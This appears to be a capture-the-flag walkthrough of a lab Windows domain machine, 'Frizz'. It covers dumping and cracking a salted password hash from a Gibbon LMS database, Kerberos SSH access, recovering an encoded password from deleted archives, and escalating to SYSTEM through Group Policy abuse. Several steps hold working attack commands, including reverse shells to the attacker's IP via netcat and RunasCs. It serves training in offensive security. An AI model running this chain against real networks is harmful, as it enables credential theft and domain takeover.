| gibbonPersonID            | int(10) unsigned zerofill                             | NO   | PRI | NULL        | auto_increment |
| title                     | varchar(5)                                            | NO   |     | NULL        |                |
| surname                   | varchar(60)                                           | NO   |     |             |                |
| firstName                 | varchar(60)                                           | NO   |     |             |                |
| preferredName             | varchar(60)                                           | NO   |     |             |                |
| officialName              | varchar(150)                                          | NO   |     | NULL        |                |
| nameInCharacters          | varchar(60)                                           | NO   |     | NULL        |                |
| gender                    | enum('M','F','Other','Unspecified')                   | NO   |     | Unspecified |                |
| username                  | varchar(20)                                           | NO   | UNI | NULL        |                |
| passwordStrong            | varchar(255)                                          | NO   |     | NULL        |                |
| passwordStrongSalt        | varchar(255)                                          | NO   |     | NULL        |                |
| passwordForceReset        | enum('N','Y')                                         | NO   |     | N           |                |
| status                    | enum('Full','Expected','Left','Pending Approval')     | NO   |     | Full        |                |
| canLogin                  | enum('Y','N')                                         | NO   |     | Y           |                |
| gibbonRoleIDPrimary       | int(3) unsigned zerofill                              | NO   |     | NULL        |                |
| gibbonRoleIDAll           | varchar(255)                                          | NO   |     | NULL        |                |
| dob                       | date                                                  | YES  |     | NULL        |                |
| email                     | varchar(75)                                           | YES  |     | NULL        |                |
| emailAlternate            | varchar(75)                                           | YES  |     | NULL        |                |
| image_240                 | varchar(255)                                          | YES  |     | NULL        |                |
| lastIPAddress             | varchar(15)                                           | NO   |     |             |                |
| lastTimestamp             | timestamp                                             | YES  |     | NULL        |                |
| lastFailIPAddress         | varchar(15)                                           | YES  |     | NULL        |                |
| lastFailTimestamp         | timestamp                                             | YES  |     | NULL        |                |
| failCount                 | int(1)                                                | YES  |     | 0           |                |
| address1                  | mediumtext                                            | NO   |     | NULL        |                |
| address1District          | varchar(255)                                          | NO   |     | NULL        |                |
| address1Country           | varchar(255)                                          | NO   |     | NULL        |                |
| address2                  | mediumtext                                            | NO   |     | NULL        |                |
| address2District          | varchar(255)                                          | NO   |     | NULL        |                |
| address2Country           | varchar(255)                                          | NO   |     | NULL        |                |
| phone1Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone1CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone1                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone3Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone3CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone3                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone2Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone2CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone2                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone4Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone4CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone4                    | varchar(20)                                           | NO   |     | NULL        |                |
| website                   | varchar(255)                                          | NO   |     | NULL        |                |
| languageFirst             | varchar(30)                                           | NO   |     | NULL        |                |
| languageSecond            | varchar(30)                                           | NO   |     | NULL        |                |
| languageThird             | varchar(30)                                           | NO   |     | NULL        |                |
| countryOfBirth            | varchar(30)                                           | NO   |     | NULL        |                |
| birthCertificateScan      | varchar(255)                                          | NO   |     | NULL        |                |
| ethnicity                 | varchar(255)                                          | NO   |     | NULL        |                |
| religion                  | varchar(30)                                           | NO   |     | NULL        |                |
| profession                | varchar(90)                                           | NO   |     | NULL        |                |
| employer                  | varchar(90)                                           | NO   |     | NULL        |                |
| jobTitle                  | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency2Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| gibbonHouseID             | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| studentID                 | varchar(15)                                           | NO   |     | NULL        |                |
| dateStart                 | date                                                  | YES  |     | NULL        |                |
| dateEnd                   | date                                                  | YES  |     | NULL        |                |
| gibbonSchoolYearIDClassOf | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| lastSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| nextSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| departureReason           | varchar(50)                                           | NO   |     | NULL        |                |
| transport                 | varchar(255)                                          | NO   |     | NULL        |                |
| transportNotes            | text                                                  | NO   |     | NULL        |                |
| calendarFeedPersonal      | text                                                  | NO   |     | NULL        |                |
| viewCalendarSchool        | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarPersonal      | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarSpaceBooking  | enum('Y','N')                                         | NO   |     | N           |                |
| gibbonApplicationFormID   | int(12) unsigned zerofill                             | YES  |     | NULL        |                |
| lockerNumber              | varchar(20)                                           | NO   |     | NULL        |                |
| vehicleRegistration       | varchar(20)                                           | NO   |     | NULL        |                |
| personalBackground        | varchar(255)                                          | NO   |     | NULL        |                |
| messengerLastRead         | datetime                                              | YES  |     | NULL        |                |
| privacy                   | text                                                  | YES  |     | NULL        |                |
| dayType                   | varchar(255)                                          | YES  |     | NULL        |                |
| gibbonThemeIDPersonal     | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| gibboni18nIDPersonal      | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| studentAgreements         | text                                                  | YES  |     | NULL        |                |
| googleAPIRefreshToken     | text                                                  | NO   |     | NULL        |                |
| microsoftAPIRefreshToken  | text                                                  | NO   |     | NULL        |                |
| genericAPIRefreshToken    | text                                                  | NO   |     | NULL        |                |
| receiveNotificationEmails | enum('Y','N')                                         | NO   |     | Y           |                |
| mfaSecret                 | varchar(16)                                           | YES  |     | NULL        |                |
| mfaToken                  | text                                                  | YES  |     | NULL        |                |
| cookieConsent             | enum('Y','N')                                         | YES  |     | NULL        |                |
| fields                    | text                                                  | NO   |     | NULL        |                |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+

Notice the username, passwordStrong, and passwordStrongSalt fields from here. Let’s query to see whether we have something in here or not:

MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;
+-----------+------------------------------------------------------------------+------------------------+
| username  | passwordStrong                                                   | passwordStrongSalt     |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+
1 row in set (0.279 sec)

Gladly, we have found a password hash along with a salt. The hash looks like a sha-256 based on its length(64-character hex string).

However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the core/preferencesPasswordProcess.php file, where core is Gibbon-LMS in our case.

core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core · GitHub
Gibbon is a flexible, open source school management platform designed to make life better for teachers, students, parents and leaders. – core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core
github.com

PS C:\xampp\htdocs\Gibbon-LMS> Get-Content preferencesPasswordprocess.php

Hence, our hash is derived using sha256 with salt + password:

💡 Think Box

From here, we want to go forward to try to crack this hash using hashcat or john. However, I will be using hashcat!

Hash Cracking

Finding the Right Module

Our target module is 1420 based on the placement of salt in the hash, which we just discussed above.

croc@hacker$ hashcat --help | grep sha256
   1470 | sha256(utf16le($pass))                                     | Raw Hash
   1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
   1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
  22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
  20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
  21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
   1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
   1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
   6400 | AIX {ssha256}                                              | Operating System
   7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
   7401 | MySQL $A$ (sha256crypt)                                    | Database Server
  20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
  20300 | Python passlib pbkdf2-sha256                               | Framework

Hash.txt

I created a file hash.txt and saved the password hash and salt in the following format:

hash:salt

Cracking the Hash

croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt

Hence, the password for f.frizzle is Jenni_Luvs_Magic23.

🚀Way Forward

f.frizzle is part of the Remote Management Users group but unfortunately WinRM is disabled on the box. So, for now, as we have a valid set of credential, we can proceed to dump the bloodhound data and analyze potential pathways from there.

Bloodhound Collection

After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.

croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 48S
                                                                                                               
croc@hacker$ ls
20250424221856_computers.json   20250424221856_gpos.json    20250424221856_users.json
20250424221856_containers.json  20250424221856_groups.json
20250424221856_domains.json     20250424221856_ous.json

faketime is used in order to tackle the KRB_AP_ERR_SKEW error.

💡 Think Box

Enumerating all possible paths from f.frizzle, I found nothing that could lead us to further access. So, I went back to see what else do we have and saw SSH open. As Kerberos Authentication is a requirement, we need to do some configuration beforehand.

Setting up Kerberos Authentication

Step 01 – Install Client Libraries

If you are faced with any prompts during the installation, just remember to press the magic key “Enter” & go with the defaults.

croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal

Step 02 – Custom KRB5_CONFIG Setup

Here, we set up our custom_krb5.conf file which defines the kerberos realm configuration.

croc@hacker$ LOWER_REALM='frizz.htb'                 
                                                                                                               
croc@hacker$ UPPER_REALM='FRIZZ.HTB'
                                                                                                               
croc@hacker$ DC_HOSTNAME='frizzdc'
                                                                                                               
croc@hacker$ cat << EOF | envsubst > custom_krb5.conf
[libdefaults]
    default_realm = $UPPER_REALM
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    $UPPER_REALM = {
        kdc = $DC_HOSTNAME.$LOWER_REALM
        admin_server = $DC_HOSTNAME.$LOWER_REALM
        default_domain = $DC_HOSTNAME.$LOWER_REALM
    }

[domain_realm]
    $LOWER_REALM = $UPPER_REALM
    .$LOWER_REALM = $UPPER_REALM
EOF
                                                                                                               
croc@hacker$ cat custom_krb5.conf                    
[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizzdc.frizz.htb
    }

[domain_realm]
    frizz.htb = FRIZZ.HTB
    .frizz.htb = FRIZZ.HTB

Step 03 – Authenticate as f.frizzle

I set up the environment variable KRB5_CONFIG to point to our custom Kerberos configuration file custom_krb5.conf located in our current directory ($PWD). This allows us force Kerberos clients to use custom realm configuration.

Moreover, I initiated an authentication request as f.frizzle to the KDC using kinit, which got successful. As a result, we have a cached credential at /tmp/krb5cc_1001 which we can view using klist.

croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
                                                                                                               
croc@hacker$ kinit f.frizzle                           
f.frizzle@FRIZZ.HTB's Password: 
                                                                                                               
croc@hacker$ klist          
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: f.frizzle@FRIZZ.HTB

  Issued                Expires               Principal
Apr 25 14:09:12 2025  Apr 26 00:09:12 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH – GSSAPI Authentication

Now, as we have a cached ticket for f.frizzle, we can use it for Kerberos authentication via SSH:

croc@hacker$ ssh -K f.frizzle@frizz.htb                                         


PowerShell 7.4.5
PS C:\Users\f.frizzle>

User.txt

PS C:\Users\f.frizzle\Desktop> ls

    Directory: C:\Users\f.frizzle\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar--           4/25/2025 10:02 AM             34 user.txt

PS C:\Users\f.frizzle\Desktop> cat user.txt
074d*****************************

Shell as M.SchoolBus

Files in Recycle Bin

After hitting my head for a little, I found two .7z files in recycle bin.

PS C:\Users\f.frizzle> Get-ChildItem -Recurse -Force 'C:\$RECYCLE.BIN'

    Directory: C:\$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

Next, we want to transfer these files to our attackbox. I will restore them into our current user’s Desktop for easy access later on.

PS C:\Users\f.frizzle> Copy-Item -Path 'C:\$Recycle.Bin\S-1-5-21-2386970044-1145388522-2932701813-1103\*.7z' -Destination "$env:USERPROFILE\Desktop"

PS C:\Users\f.frizzle\Desktop> ls

    Directory: C:\Users\f.frizzle\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-ar--            5/2/2025  7:41 PM             34 user.txt

Transfer to Attack Box

Now, we want to transfer these *.7z files back to our kali machine for further analysis. 

croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD
$IE2XMEG.7z                                                                                                                               100%  148     0.6KB/s   00:00    
                                                                                                                                                                            
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD
$RE2XMEG.7z                                                                                                                               100%   29MB   1.7MB/s   00:17

Notice the format of both files. $RE2XMEG.7z appears to be a legitimate 7-zip archive while we’re not sure about $IE2XMEG.7z.

croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z' 
$IE2XMEG.7z: data
$RE2XMEG.7z: 7-zip archive data, version 0.4

Extracting the Files

The first file failed to extract but second one did extract. (As expected) 

croc@hacker$ 7z x \$RE2XMEG.7z 

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                      

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
                                                                                                                                                                            
croc@hacker$ ls
'$RE2XMEG.7z'   wapt

Enumerating for Sensitive Info

The configuration files are always a good bet to start with. Luckily, I found the following password in waptserver.ini file:

I passed the password along the network but it failed. That’s because it was base64-encoded!

croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d                                                           
!suBcig@MehTed!R

Trying again revealed our next pivot point which is M.SchoolBus.

croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success

Lateral to M.SchoolBus

Cached Ticket

Cleared all cached tickets and cached the ticket for M.SchoolBus:

croc@hacker$ kdestroy
kdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
                                                                                                                                                 
croc@hacker$ kinit m.schoolbus
m.schoolbus@FRIZZ.HTB's Password: 
                                                                                                                                                 
croc@hacker$ klist
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: m.schoolbus@FRIZZ.HTB

  Issued                Expires               Principal
May  3 21:15:10 2025  May  4 07:15:10 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH

croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htb                        

PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami
frizz\m.schoolbus
PS C:\Users\M.SchoolBus>

Shell as Root

Bloodhound

Revisiting Bloodhound, I found that m.schoolbus is the member of the Desktop Admins group which is indeed the member of Group Policy Creator Owners group.

According to Microsoft,

"This group is authorized to create, edit, and delete Group Policy Objects in the domain. By default, the only member of the group is Administrator."

💡 Think Box

Hence, it’s a great time to enumerate GPOs on the target and see what we can get.

Transfer Powersploit

We will be using the Powersploit suite of tools for GPO enumeration.

GitHub – PowerShellMafia/PowerSploit: PowerSploit – A PowerShell Post-Exploitation Framework
PowerSploit – A PowerShell Post-Exploitation Framework – PowerShellMafia/PowerSploit
github.com

On our kali machine, we do the following:

git clone https://github.com/PowerShellMafia/PowerSploit
rm -rf PowerSploit/.git/ #Removed as it is not needed
zip -r PowerSploit.zip PowerSploit
python3 -m http.server 8000

Transferred the zipped file to the target:

PS C:\temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip
****  Online  ****
  000000  ...
  20b69d
CertUtil: -URLCache command completed successfully.
PS C:\temp> ls

    Directory: C:\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---           7/20/2025  6:54 PM        2143901 PowerSploit.zip

Import all the Modules

Now, we extract all the modules in the current directory:

PS C:\temp> Expand-Archive .\PowerSploit.zip
PS C:\temp> ls

    Directory: C:\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           7/21/2025  3:07 PM                PowerSploit
-a---           7/21/2025  3:07 PM        2143901 PowerSploit.zip

Next, we downgrade to PowerShell v5 in order to make it work reliably:

PS C:\temp> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      7.4.5 #Before
PSEdition                      Core
GitCommitId                    7.4.5
OS                             Microsoft Windows 10.0.20348
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
WSManStackVersion              3.0

PS C:\temp> powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\temp> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.20348.2849 #After
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.20348.2849
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

After that, it’s time to import all the modules:

PS C:\temp> Get-ChildItem -Directory .\PowerSploit\PowerSploit\ -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }

GPO Enumeration – Permissions

The following command shows which users/groups have what permissions on each existing GPO in the domain.

PS C:\temp> Get-GPO -All | Get-GPPermission -All


Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False

Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False

Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False

Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False

Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False

Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False

💡 Think Box

Since none of the existing GPOs are writable by our user m.schoolbus, we should explore creating a new GPO and linking it to a writable OU.

Looking for Writable OUs

We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.

PS C:\temp> Get-DomainOU | 
>> Get-DomainObjectAcl -ResolveGUIDs | 
>> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } | 
>> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}


ObjectDN              : OU=Domain Controllers,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizz\M.SchoolBus

ObjectDN              : OU=Class_Frizz,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizz\M.SchoolBus

Hence, we can link our new GPO to any of the both OUs: Domain Controllers or Class_Frizz. However, our target machine is in the Domain Controllers Organizational Unit so it makes more sense to link to that.

PS C:\temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *
PS C:\temp> 
PS C:\temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *


DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
DNSHostName       : frizzdc.frizz.htb
Enabled           : True
Name              : FRIZZDC
ObjectClass       : computer
ObjectGUID        : 36207a23-8d8d-45e2-b127-e4341a0ec93e
SamAccountName    : FRIZZDC$
SID               : S-1-5-21-2386970044-1145388522-2932701813-1000
UserPrincipalName :

Creating a new GPO and linking to OU

Created a new GPO named Evil Croc GPO using New-GPO cmdlet:

PS C:\temp> New-GPO -Name "Evil Croc GPO"                                                                                                       
                                                                                                        

DisplayName      : Evil Croc GPO
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : 6ff7fae6-caf3-40da-a97f-10fff92a0f08
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 7/24/2025 6:56:02 PM
ModificationTime : 7/24/2025 6:56:02 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

Linked it to the Domain Controllers OU using New-GPLink cmdlet:

C:\temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"


GpoId       : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1
DisplayName : Evil Croc GPO
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

Way #01: Gaining Root – Immediate Scheduled Task

We will be using sharpGPOAbuse.exe in order to perform the immediate scheduled task attack.

SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
github.com

PS C:\temp> & "C:\temp\SharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTB\Administrator" --Command "cmd.exe" --Arguments "/c C:\Windows\Tasks\nc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{5C5DC385-1956-47B8-B432-376A3A580DBE}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

Set up a listener on the attack box at 443:

croc@hacker:~$ sudo rlwrap nc -nvlp 443
listening on [any] 443 ...

Force update the group policy to apply our GPO setting on the DC:

PS C:\temp> gpupdate.exe /force                                                                                                                 
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Successfully obtained a reverse shell as nt\authority system:

Way #02: Gaining Root – Adding a Local Admin

We can also make our user m.schoolbus a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:

SharpGPOAbuse/SharpGPOAbuse-master/README.md at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
github.com

PS C:\temp> & "C:\temp\SharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{48753DD8-2CF7-4859-8BA3-4056612363FD}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf  
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

PS C:\temp> gpupdate.exe /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

We can indeed verify this as well from below:

PS C:\temp> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.

However, note that the members of the local admin group are not allowed to SSH into the machine:

PS C:\temp> cat C:\ProgramData\ssh\sshd_config

So, we need to figure another way out.

💡 Think Box

What we can do is use RunasCS in order to execute commands as the m.schoolbus and initiate a reverse shell connection through it which will give us admin privileges.

RunasCS – Reverse Shell as admin

Set up a listener on your machine on whatever port and execute the following command on the target:

PS C:\temp> Import-Module .\Invoke-RunasCs.ps1

PS C:\temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2c55b3$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 740 created in background.

PS C:\temp>

And, we received a connection back as the local admin m.schoolbus:

croc@hacker:~$ sudo rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
frizz\m.schoolbus
PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
